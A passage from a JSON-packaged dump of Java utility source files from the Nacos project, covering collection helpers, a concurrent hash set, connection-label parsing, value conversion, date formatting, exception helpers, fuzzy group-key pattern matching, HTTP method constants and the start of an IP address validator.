    }\n        msg.append('>');\n        return msg.toString();\n    }\n    \n    /**\n     * Return {@code true} if the supplied Map is {@code null} or empty. Otherwise, return {@code false}.\n     *\n     * @param map the Map to check\n     * @return whether the given Map is empty\n     */\n    public static boolean isMapEmpty(Map<?, ?> map) {\n        return (map == null || map.isEmpty());\n    }\n    \n    /**\n     * Returns a {@link Map} mapping each unique element in the given {@link Collection} to an {@link Integer}\n     * representing the number of occurrences of that element in the {@link Collection}.\n     *\n     * <p>Only those elements present in the collection will appear as keys in the map.\n     *\n     * @param coll the collection to get the cardinality map for, must not be null\n     * @return the populated cardinality map\n     */\n    public static Map getCardinalityMap(final Collection coll) {\n        Map count = new HashMap(coll.size());\n        for (Iterator it = coll.iterator(); it.hasNext(); ) {\n            Object obj = it.next();\n            Integer c = (Integer) (count.get(obj));\n            if (c == null) {\n                count.put(obj, INTEGER_ONE);\n            } else {\n                count.put(obj, c + 1);\n            }\n        }\n        return count;\n    }\n    \n    /**\n     * Returns <tt>true</tt> iff the given {@link Collection}s contain exactly the same elements with exactly the same\n     * cardinalities.\n     *\n     * <p>That is, iff the cardinality of <i>e</i> in <i>a</i> is equal to the cardinality of <i>e</i> in <i>b</i>, for\n     * each element <i>e</i> in <i>a</i> or <i>b</i>.\n     *\n     * @param a the first collection, must not be null\n     * @param b the second collection, must not be null\n     * @return <code>true</code> iff the collections contain the same elements with the same cardinalities.\n     */\n    public static boolean isEqualCollection(final Collection a, final Collection b) {\n        if (a.size() != b.size()) {\n            return false;\n        } else {\n            Map mapa = getCardinalityMap(a);\n            Map mapb = getCardinalityMap(b);\n            if (mapa.size() != mapb.size()) {\n                return false;\n            } else {\n                Iterator it = mapa.keySet().iterator();\n                while (it.hasNext()) {\n                    Object obj = it.next();\n                    if (getFreq(obj, mapa) != getFreq(obj, mapb)) {\n                        return false;\n                    }\n                }\n                return true;\n            }\n        }\n    }\n    \n    private static int getFreq(final Object obj, final Map freqMap) {\n        Integer count = (Integer) freqMap.get(obj);\n        if (count != null) {\n            return count.intValue();\n        }\n        return 0;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ConcurrentHashSet.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.AbstractSet;\nimport java.util.Iterator;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Concurrent Hash Set implement by {@link ConcurrentHashMap}.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class ConcurrentHashSet<E> extends AbstractSet<E> {\n    \n    private ConcurrentHashMap<E, Boolean> map;\n    \n    public ConcurrentHashSet() {\n        super();\n        map = new ConcurrentHashMap<>();\n    }\n    \n    @Override\n    public int size() {\n        return map.size();\n    }\n    \n    @Override\n    public boolean contains(Object o) {\n        return map.containsKey(o);\n    }\n    \n    @Override\n    public Iterator<E> iterator() {\n        return map.keySet().iterator();\n    }\n    \n    @Override\n    public boolean add(E o) {\n        return map.putIfAbsent(o, Boolean.TRUE) == null;\n    }\n    \n    @Override\n    public boolean remove(Object o) {\n        return map.remove(o) != null;\n    }\n    \n    @Override\n    public void clear() {\n        map.clear();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ConnLabelsUtils.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Properties;\nimport java.util.stream.Collectors;\n\n/**\n * ConnLabelsUtils.\n *\n * @author rong\n */\npublic class ConnLabelsUtils {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConnLabelsUtils.class);\n    \n    public static final String LABEL_EQUALS_OPERATOR = \"=\";\n    \n    public static final String LABEL_SPLIT_OPERATOR = \",\";\n    \n    public static final int TAG_V2_LABEL_KEY_VALUE_SPLIT_LENGTH = 2;\n    \n    /**\n     * parse property value to map.\n     *\n     * @param properties   Properties\n     * @param propertyName which key to get\n     * @return (String)key-(String)value map\n     * @date 2024/1/29\n     * @description will get a key-value map from properties, JVM OPTIONS, ENV by order of <tt>properties > JVM OPTIONS\n     * > ENV</tt> which will use the next level value when the current level value isn't setup.\n     * <p>eg: if the value of \"nacos.app.conn.labels\"(properties' key) is \"k1=v1,k2=v2\"(properties' value), the result\n     * will be\n     * a Map with value{k1=v1,k2=v2}.</p>\n     */\n    public static Map<String, String> parsePropertyValue2Map(Properties properties, String propertyName) {\n        String rawLabels = properties.getProperty(propertyName,\n                System.getProperty(propertyName, System.getenv(propertyName)));\n        if (StringUtils.isBlank(rawLabels)) {\n            LOGGER.info(\"no value found for property key: {}\", propertyName);\n            return new HashMap<>(2);\n        }\n        return parseRawLabels(rawLabels);\n    }\n    \n    /**\n     * parse raw json labels into a key-value map.\n     *\n     * @param rawLabels rawLabels to parse\n     * @return map parsed from rawLabels\n     * @date 2024/1/29\n     * @description\n     */\n    public static Map<String, String> parseRawLabels(String rawLabels) {\n        if (StringUtils.isBlank(rawLabels)) {\n            return new HashMap<>(2);\n        }\n        HashMap<String, String> resultMap = new HashMap<>(2);\n        try {\n            Arrays.stream(rawLabels.split(LABEL_SPLIT_OPERATOR)).filter(Objects::nonNull).map(String::trim)\n                    .filter(StringUtils::isNotBlank).forEach(label -> {\n                        String[] kv = label.split(LABEL_EQUALS_OPERATOR);\n                        if (kv.length == TAG_V2_LABEL_KEY_VALUE_SPLIT_LENGTH) {\n                            resultMap.put(kv[0].trim(), kv[1].trim());\n                        } else {\n                            LOGGER.error(\"unknown label format: {}\", label);\n                        }\n                    });\n        } catch (Exception e) {\n            LOGGER.error(\"unknown label format: {}\", rawLabels);\n        }\n        return resultMap;\n    }\n    \n    /**\n     * merge two map into one by using the former value when key is duplicated.\n     *\n     * @param preferredMap preferredMap\n     * @param backwardMap  backwardMap\n     * @date 2024/1/29\n     * @description merge two map into one preferring using the first one when key is duplicated\n     */\n    public static <T, R> Map<T, R> mergeMapByOrder(Map<T, R> preferredMap, Map<T, R> backwardMap) {\n        if (preferredMap == null || preferredMap.isEmpty()) {\n            return new HashMap<T, R>(8) {\n                {\n                    putAll(backwardMap);\n                }\n            };\n        }\n        if (backwardMap == null || backwardMap.isEmpty()) {\n            return new HashMap<T, R>(8) {\n                {\n                    putAll(preferredMap);\n                }\n            };\n        }\n        HashMap<T, R> resultMap = new HashMap<T, R>(8) {\n            {\n                putAll(preferredMap);\n            } };\n        backwardMap.forEach((key, value) -> {\n            if (!resultMap.containsKey(key)) {\n                resultMap.put(key, value);\n            }\n        });\n        return resultMap;\n    }\n    \n    /**\n     * add prefix for each key in map.\n     *\n     * @param map    map to add prefix\n     * @param prefix prefix\n     * @date 2024/1/29\n     * @description add prefix for each key in map\n     */\n    public static <T> Map<String, T> addPrefixForEachKey(Map<String, T> map, String prefix) {\n        if (map == null || map.isEmpty()) {\n            return map;\n        }\n        return map.entrySet().stream().filter(Objects::nonNull).filter(elem -> !elem.getKey().trim().isEmpty())\n                .collect(Collectors.toMap(elem -> prefix + elem.getKey(), Map.Entry::getValue));\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ConvertUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.Set;\n\n/**\n * Value Convert Utils.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class ConvertUtils {\n\n    private ConvertUtils() {\n    }\n    \n    private static final String NULL_STR = \"null\";\n    \n    public static final Set<String> TRUE_SET = CollectionUtils.set(\"y\", \"yes\", \"on\", \"true\", \"t\");\n    \n    public static final Set<String> FALSE_SET = CollectionUtils.set(\"n\", \"no\", \"off\", \"false\", \"f\");\n    \n    /**\n     * Convert String value to int value if parameter value is legal. And it automatically defaults to 0 if parameter\n     * value is null or blank str.\n     *\n     * @param val String value which need to be converted to int value.\n     * @return Converted int value and its default value is 0.\n     */\n    public static int toInt(String val) {\n        return toInt(val, 0);\n    }\n    \n    /**\n     * Convert String value to int value if parameter value is legal. And return default value if parameter value is\n     * null or blank str.\n     *\n     * @param val          value\n     * @param defaultValue default value\n     * @return int value if input value is legal, otherwise default value\n     */\n    public static int toInt(String val, int defaultValue) {\n        if (StringUtils.equalsIgnoreCase(val, NULL_STR)) {\n            return defaultValue;\n        }\n        if (StringUtils.isBlank(val)) {\n            return defaultValue;\n        }\n        try {\n            return Integer.parseInt(val);\n        } catch (NumberFormatException exception) {\n            return defaultValue;\n        }\n    }\n    \n    /**\n     * Convert Object value to long value if parameter value is legal.\n     * And it automatically defaults to 0 if parameter value is null or other object.\n     *\n     * @param val object value\n     * @return Converted long value and its default value is 0.\n     */\n    public static long toLong(Object val) {\n        if (val instanceof Long) {\n            return (Long) val;\n        }\n        return toLong(val.toString());\n    }\n    \n    /**\n     * Convert String value to long value if parameter value is legal. And it automatically defaults to 0 if parameter\n     * value is null or blank str.\n     *\n     * @param val String value which need to be converted to int value.\n     * @return Converted long value and its default value is 0.\n     */\n    public static long toLong(String val) {\n        return toLong(val, 0L);\n    }\n    \n    /**\n     * Convert String value to long value if parameter value is legal. And return default value if parameter value is\n     * null or blank str.\n     *\n     * @param val          value\n     * @param defaultValue default value\n     * @return long value if input value is legal, otherwise default value\n     */\n    public static long toLong(String val, long defaultValue) {\n        if (StringUtils.isBlank(val)) {\n            return defaultValue;\n        }\n        try {\n            return Long.parseLong(val);\n        } catch (NumberFormatException exception) {\n            return defaultValue;\n        }\n    }\n    \n    /**\n     * Convert String value to boolean value if parameter value is legal. And return default value if parameter value is\n     * null or blank str.\n     *\n     * @param val          value\n     * @param defaultValue default value\n     * @return boolean value if input value is legal, otherwise default value\n     */\n    public static boolean toBoolean(String val, boolean defaultValue) {\n        if (StringUtils.isBlank(val)) {\n            return defaultValue;\n        }\n        return Boolean.parseBoolean(val);\n    }\n    \n    //   The following utility functions are extracted from <link>org.apache.commons.lang3</link>\n    //   start\n    \n    /**\n     * <p>Converts a String to a boolean (optimised for performance).</p>\n     *\n     * <p>{@code 'true'}, {@code 'on'}, {@code 'y'}, {@code 't'} or {@code 'yes'}\n     * (case insensitive) will return {@code true}. Otherwise, {@code false} is returned.</p>\n     *\n     * <p>This method performs 4 times faster (JDK1.4) than\n     * {@code Boolean.valueOf(String)}. However, this method accepts 'on' and 'yes', 't', 'y' as true values.\n     *\n     * <pre>\n     *   BooleanUtils.toBoolean(null)    = false\n     *   BooleanUtils.toBoolean(\"true\")  = true\n     *   BooleanUtils.toBoolean(\"TRUE\")  = true\n     *   BooleanUtils.toBoolean(\"tRUe\")  = true\n     *   BooleanUtils.toBoolean(\"on\")    = true\n     *   BooleanUtils.toBoolean(\"yes\")   = true\n     *   BooleanUtils.toBoolean(\"false\") = false\n     *   BooleanUtils.toBoolean(\"x gti\") = false\n     *   BooleanUtils.toBooleanObject(\"y\") = true\n     *   BooleanUtils.toBooleanObject(\"n\") = false\n     *   BooleanUtils.toBooleanObject(\"t\") = true\n     *   BooleanUtils.toBooleanObject(\"f\") = false\n     * </pre>\n     *\n     * @param str the String to check\n     * @return the boolean value of the string, {@code false} if no match or the String is null\n     */\n    public static boolean toBoolean(final String str) {\n        return Boolean.TRUE.equals(toBooleanObject(str));\n    }\n    \n    /**\n     * <p>Converts a String to a Boolean.</p>\n     *\n     * <p>{@code 'true'}, {@code 'on'}, {@code 'y'}, {@code 't'} or {@code 'yes'}\n     * (case insensitive) will return {@code true}. {@code 'false'}, {@code 'off'}, {@code 'n'}, {@code 'f'} or {@code\n     * 'no'} (case insensitive) will return {@code false}. Otherwise, {@code null} is returned.</p>\n     *\n     * <p>NOTE: This returns null and will throw a NullPointerException if autoboxed to a boolean. </p>\n     *\n     * <pre>\n     *   // N.B. case is not significant\n     *   BooleanUtils.toBooleanObject(null)    = null\n     *   BooleanUtils.toBooleanObject(\"true\")  = Boolean.TRUE\n     *   BooleanUtils.toBooleanObject(\"T\")     = Boolean.TRUE // i.e. T[RUE]\n     *   BooleanUtils.toBooleanObject(\"false\") = Boolean.FALSE\n     *   BooleanUtils.toBooleanObject(\"f\")     = Boolean.FALSE // i.e. f[alse]\n     *   BooleanUtils.toBooleanObject(\"No\")    = Boolean.FALSE\n     *   BooleanUtils.toBooleanObject(\"n\")     = Boolean.FALSE // i.e. n[o]\n     *   BooleanUtils.toBooleanObject(\"on\")    = Boolean.TRUE\n     *   BooleanUtils.toBooleanObject(\"ON\")    = Boolean.TRUE\n     *   BooleanUtils.toBooleanObject(\"off\")   = Boolean.FALSE\n     *   BooleanUtils.toBooleanObject(\"oFf\")   = Boolean.FALSE\n     *   BooleanUtils.toBooleanObject(\"yes\")   = Boolean.TRUE\n     *   BooleanUtils.toBooleanObject(\"Y\")     = Boolean.TRUE // i.e. Y[ES]\n     *   BooleanUtils.toBooleanObject(\"blue\")  = null\n     *   BooleanUtils.toBooleanObject(\"true \") = null // trailing space (too long)\n     *   BooleanUtils.toBooleanObject(\"ono\")   = null // does not match on or no\n     * </pre>\n     *\n     * @param str the String to check; upper and lower case are treated as the same\n     * @return the Boolean value of the string, {@code null} if no match or {@code null} input\n     */\n    @SuppressWarnings(\"all\")\n    public static Boolean toBooleanObject(String str) {\n        String formatStr = (str == null ? StringUtils.EMPTY : str).toLowerCase();\n    \n        if (TRUE_SET.contains(formatStr)) {\n            return true;\n        } else if (FALSE_SET.contains(formatStr)) {\n            return false;\n        } else {\n            return null;\n        }\n    }\n    \n    //   end\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/DateFormatUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\n/**\n * Date and time formatting utilities.\n * @author zzq\n */\npublic class DateFormatUtils {\n\n    private DateFormatUtils() {\n    }\n    \n    public static final String YYYYMMDD = \"yyyyMMdd\";\n    \n    public static final String YYMMDD = \"yyMMdd\";\n    \n    public static final String HHMMSS = \"HHmmss\";\n    \n    public static final String YYYYMM = \"yyyyMM\";\n    \n    public static final String YYYYMMDDHHMMSS = \"yyyyMMddHHmmss\";\n    \n    public static final String YYYY = \"yyyy\";\n    \n    public static final String MM = \"MM\";\n    \n    public static final String DD = \"dd\";\n    \n    public static final String YYYYMMDDSLASH = \"yyyy/MM/dd\";\n    \n    public static final String YYYYMMDDHHMMSSNOMARK = \"yyyyMMddHHmmss\";\n    \n    /**\n     * Formats a date/time into a specific pattern.\n     *\n     * @param date  the date to format, not null\n     * @param pattern  the pattern to use to format the date, not null\n     * @return the formatted date\n     */\n    public static String format(final Date date, final String pattern) {\n        if (date == null) {\n            throw new NullPointerException(\"date must not be null\");\n        }\n        if (pattern == null) {\n            throw new NullPointerException(\"pattern must not be null\");\n        }\n        SimpleDateFormat sdf = new SimpleDateFormat(pattern);\n        return sdf.format(date);\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ExceptionUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.PrintStream;\nimport java.io.UnsupportedEncodingException;\nimport java.nio.charset.StandardCharsets;\nimport java.util.Objects;\n\n/**\n * Common methods for exception.\n *\n * @author nkorange\n * @since 1.2.0\n */\npublic class ExceptionUtil {\n\n    private ExceptionUtil() {\n    }\n    \n    /**\n     * Represents an empty exception, that is, no exception occurs, only a constant.\n     */\n    public static final Exception NONE_EXCEPTION = new RuntimeException(\"\");\n    \n    public static String getAllExceptionMsg(Throwable e) {\n        Throwable cause = e;\n        StringBuilder strBuilder = new StringBuilder();\n        \n        while (cause != null && !StringUtils.isEmpty(cause.getMessage())) {\n            strBuilder.append(\"caused: \").append(cause.getMessage()).append(';');\n            cause = cause.getCause();\n        }\n        \n        return strBuilder.toString();\n    }\n    \n    public static Throwable getCause(final Throwable t) {\n        final Throwable cause = t.getCause();\n        if (Objects.isNull(cause)) {\n            return t;\n        }\n        return cause;\n    }\n    \n    public static String getStackTrace(final Throwable t) {\n        if (t == null) {\n            return \"\";\n        }\n        \n        final ByteArrayOutputStream out = new ByteArrayOutputStream();\n        try {\n            final PrintStream ps = new PrintStream(out, false, StandardCharsets.UTF_8.name());\n            t.printStackTrace(ps);\n            ps.flush();\n            return new String(out.toByteArray(), StandardCharsets.UTF_8);\n        } catch (UnsupportedEncodingException e) {\n            // Should never happen since UTF-8 is always supported\n            throw new IllegalStateException(e);\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/FuzzyGroupKeyPattern.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.stream.Collectors;\nimport java.util.stream.Stream;\n\nimport static com.alibaba.nacos.api.common.Constants.ALL_PATTERN;\nimport static com.alibaba.nacos.api.common.Constants.DEFAULT_NAMESPACE_ID;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_PATTERN_SPLITTER;\n\n/**\n * Utility class for matching group keys against a given pattern.\n *\n * <p>This class provides methods to match group keys based on a pattern specified. It supports matching based on\n * dataId, group, and namespace components of the group key.\n *\n * @author stone-98\n * @date 2024/3/14\n */\npublic class FuzzyGroupKeyPattern {\n    \n    /**\n     * Generates a fuzzy listen group key pattern based on the given dataId pattern, group, and optional tenant. pattern\n     * result as: fixNamespace>>groupPattern>>dataIdPattern\n     *\n     * @param resourcePattern The pattern for matching dataIds or service names.\n     * @param groupPattern    The groupPattern associated with the groups.\n     * @param fixNamespace    (Optional) The tenant associated with the dataIds (can be null or empty).\n     * @return A unique group key pattern for fuzzy listen.\n     * @throws IllegalArgumentException If the dataId pattern or group is blank.\n     */\n    public static String generatePattern(final String resourcePattern, final String groupPattern, String fixNamespace) {\n        if (StringUtils.isBlank(resourcePattern)) {\n            throw new IllegalArgumentException(\"Param 'resourcePattern' is illegal, resourcePattern is blank\");\n        }\n        if (StringUtils.isBlank(groupPattern)) {\n            throw new IllegalArgumentException(\"Param 'groupPattern' is illegal, group is blank\");\n        }\n        if (StringUtils.isBlank(fixNamespace)) {\n            fixNamespace = DEFAULT_NAMESPACE_ID;\n        }\n        StringBuilder sb = new StringBuilder();\n        sb.append(fixNamespace);\n        sb.append(FUZZY_WATCH_PATTERN_SPLITTER);\n        sb.append(groupPattern);\n        sb.append(FUZZY_WATCH_PATTERN_SPLITTER);\n        sb.append(resourcePattern);\n        return sb.toString().intern();\n    }\n    \n    /**\n     * Given a dataId, group, and a collection of completed group key patterns, returns the patterns that match.\n     *\n     * @param resourceName     The dataId or service name to match.\n     * @param group            The group to match.\n     * @param namespace        The group to match.\n     * @param groupKeyPatterns The collection of completed group key patterns to match against.\n     * @return A set of patterns that match the dataId and group.\n     */\n    public static Set<String> filterMatchedPatterns(Collection<String> groupKeyPatterns, String resourceName,\n            String group, String namespace) {\n        if (CollectionUtils.isEmpty(groupKeyPatterns)) {\n            return new HashSet<>(1);\n        }\n        Set<String> matchedPatternList = new HashSet<>();\n        for (String keyPattern : groupKeyPatterns) {\n            if (matchPattern(keyPattern, resourceName, group, namespace)) {\n                matchedPatternList.add(keyPattern);\n            }\n        }\n        return matchedPatternList;\n    }\n    \n    /**\n     * check if the resource match the groupKeyPattern.\n     * @param resourceName     The dataId or service name to match.\n     * @param group            The group to match.\n     * @param namespace        The group to match.\n     * @param groupKeyPattern  The pattern to match.\n     * @return  matched or not.\n     */\n    public static boolean matchPattern(String groupKeyPattern, String resourceName, String group, String namespace) {\n        if (StringUtils.isBlank(namespace)) {\n            namespace = DEFAULT_NAMESPACE_ID;\n        }\n        String[] splitPatterns = groupKeyPattern.split(FUZZY_WATCH_PATTERN_SPLITTER);\n        return splitPatterns[0].equals(namespace) && itemMatched(splitPatterns[1], group) && itemMatched(\n                splitPatterns[2], resourceName);\n    }\n    \n    public static String getNamespaceFromPattern(String groupKeyPattern) {\n        return groupKeyPattern.split(FUZZY_WATCH_PATTERN_SPLITTER)[0];\n    }\n    \n    /**\n     * check pattern matched the resource.\n     * @param pattern pattern contain *.\n     * @param resource resource to check.\n     * @return\n     */\n    private static boolean itemMatched(String pattern, String resource) {\n        \n        //accurate match without *\n        if (!pattern.contains(ALL_PATTERN)) {\n            return pattern.equals(resource);\n        }\n        \n        //match for '*' pattern\n        if (pattern.equals(ALL_PATTERN)) {\n            return true;\n        }\n        \n        //match for *{string}*\n        if (pattern.startsWith(ALL_PATTERN) && pattern.endsWith(ALL_PATTERN)) {\n            String pureString = pattern.replace(ALL_PATTERN, \"\");\n            return resource.contains(pureString);\n        }\n        \n        //match for postfix match *{string}\n        if (pattern.startsWith(ALL_PATTERN)) {\n            String pureString = pattern.replace(ALL_PATTERN, \"\");\n            return resource.endsWith(pureString);\n        }\n        \n        //match for prefix match {string}*\n        if (pattern.endsWith(ALL_PATTERN)) {\n            String pureString = pattern.replace(ALL_PATTERN, \"\");\n            return resource.startsWith(pureString);\n        }\n        \n        return false;\n    }\n    \n    /**\n     * Calculates and merges the differences between the matched group keys and the client's existing group keys into a\n     * list of ConfigState objects.\n     *\n     * @param basedGroupKeys    The matched group keys set\n     * @param followedGroupKeys The followed existing group keys set\n     * @return a different list of GroupKeyState objects representing the states which the followed sets should be added\n     * or removed GroupKeyState#exist true presents follow set should add,GroupKeyState#exist false presents follow set\n     * should removed.\n     */\n    public static List<GroupKeyState> diffGroupKeys(Set<String> basedGroupKeys, Set<String> followedGroupKeys) {\n        // Calculate the set of group keys to be added and removed\n        Set<String> addGroupKeys = new HashSet<>();\n        if (CollectionUtils.isNotEmpty(basedGroupKeys)) {\n            addGroupKeys.addAll(basedGroupKeys);\n        }\n        if (CollectionUtils.isNotEmpty(followedGroupKeys)) {\n            addGroupKeys.removeAll(followedGroupKeys);\n        }\n        \n        Set<String> removeGroupKeys = new HashSet<>();\n        if (CollectionUtils.isNotEmpty(followedGroupKeys)) {\n            removeGroupKeys.addAll(followedGroupKeys);\n        }\n        if (CollectionUtils.isNotEmpty(basedGroupKeys)) {\n            removeGroupKeys.removeAll(basedGroupKeys);\n        }\n        \n        // Convert the group keys to be added and removed into corresponding ConfigState objects and merge them into a list\n        return Stream.concat(addGroupKeys.stream().map(groupKey -> new GroupKeyState(groupKey, true)),\n                        removeGroupKeys.stream().map(groupKey -> new GroupKeyState(groupKey, false)))\n                .collect(Collectors.toList());\n    }\n    \n    public static class GroupKeyState {\n        \n        String groupKey;\n        \n        boolean exist;\n        \n        /**\n         * Constructs a new ConfigState instance with the given group key and existence flag.\n         *\n         * @param groupKey The group key associated with the configuration.\n         * @param exist    {@code true} if the configuration exists, {@code false} otherwise.\n         */\n        public GroupKeyState(String groupKey, boolean exist) {\n            this.groupKey = groupKey;\n            this.exist = exist;\n        }\n        \n        /**\n         * Retrieves the group key associated with the configuration.\n         *\n         * @return The group key.\n         */\n        public String getGroupKey() {\n            return groupKey;\n        }\n        \n        /**\n         * Sets the group key associated with the configuration.\n         *\n         * @param groupKey The group key to set.\n         */\n        public void setGroupKey(String groupKey) {\n            this.groupKey = groupKey;\n        }\n        \n        /**\n         * Checks whether the configuration exists or not.\n         *\n         * @return {@code true} if the configuration exists, {@code false} otherwise.\n         */\n        public boolean isExist() {\n            return exist;\n        }\n        \n        /**\n         * Sets the existence flag of the configuration.\n         *\n         * @param exist {@code true} if the configuration exists, {@code false} otherwise.\n         */\n        public void setExist(boolean exist) {\n            this.exist = exist;\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/HttpMethod.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\n/**\n * Http method constants.\n *\n * @author nkorange\n * @since 0.8.0\n */\npublic class HttpMethod {\n\n    private HttpMethod() {\n    }\n    \n    public static final String GET = \"GET\";\n    \n    /**\n     * this is only use in nacos, Custom request type, essentially a GET request, Mainly used for GET request parameters\n     * are relatively large,can not be placed on the URL, so it needs to be placed in the body.\n     */\n    public static final String GET_LARGE = \"GET-LARGE\";\n    \n    public static final String HEAD = \"HEAD\";\n    \n    public static final String POST = \"POST\";\n    \n    public static final String PUT = \"PUT\";\n    \n    public static final String PATCH = \"PATCH\";\n    \n    public static final String DELETE = \"DELETE\";\n    \n    /**\n     * this is only use in nacos, Custom request type, essentially a DELETE request, Mainly used for DELETE request\n     * parameters are relatively large, can not be placed on the URL, so it needs to be placed in the body.\n     */\n    public static final String DELETE_LARGE = \"DELETE_LARGE\";\n    \n    public static final String OPTIONS = \"OPTIONS\";\n    \n    public static final String TRACE = \"TRACE\";\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/InetAddressValidator.java",
    "content": "/**\n * Copyright 2018-2021 Dynatrace LLC Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use\n * this file except in compliance with the License. You may obtain a copy of the License at\n * http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,\n * either express or implied. See the License for the specific language governing permissions and limitations under the\n * License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.regex.Pattern;\n\n/**\n * ipv4 ipv6 check util.\n *\n * @author Dynatrace LLC\n */\n@SuppressWarnings(\"checkstyle:AbbreviationAsWordInName\")\npublic class InetAddressValidator {\n    \n    private InetAddressValidator() {\n    }\n    \n    private static final String PERCENT = \"%\";\n    \n    private static final String DOUBLE_COLON = \"::\";\n    \n    private static final String DOUBLE_COLON_FFFF = \"::ffff:\";\n    \n    private static final String FE80 = \"fe80:\";\n    \n    private static final int ZERO = 0;\n    \n    private static final int SEVEN = 7;\n    \n    private static final int FIVE = 5;\n    \n    private static final Pattern IPV4_PATTERN = Pattern\n            .compile(\"^\" + \"(25[0-5]|2[0-4]\\\\d|[0-1]?\\\\d?\\\\d)\" + \"(\\\\.(25[0-5]|2[0-4]\\\\d|[0-1]?\\\\d?\\\\d)){3}\" + \"$\");\n    \n    private static final Pattern IPV6_STD_PATTERN = Pattern\n            .compile(\"^\" + \"(?:[0-9a-fA-F]{1,4}:){7}\" + \"[0-9a-fA-F]{1,4}\" + \"$\");\n    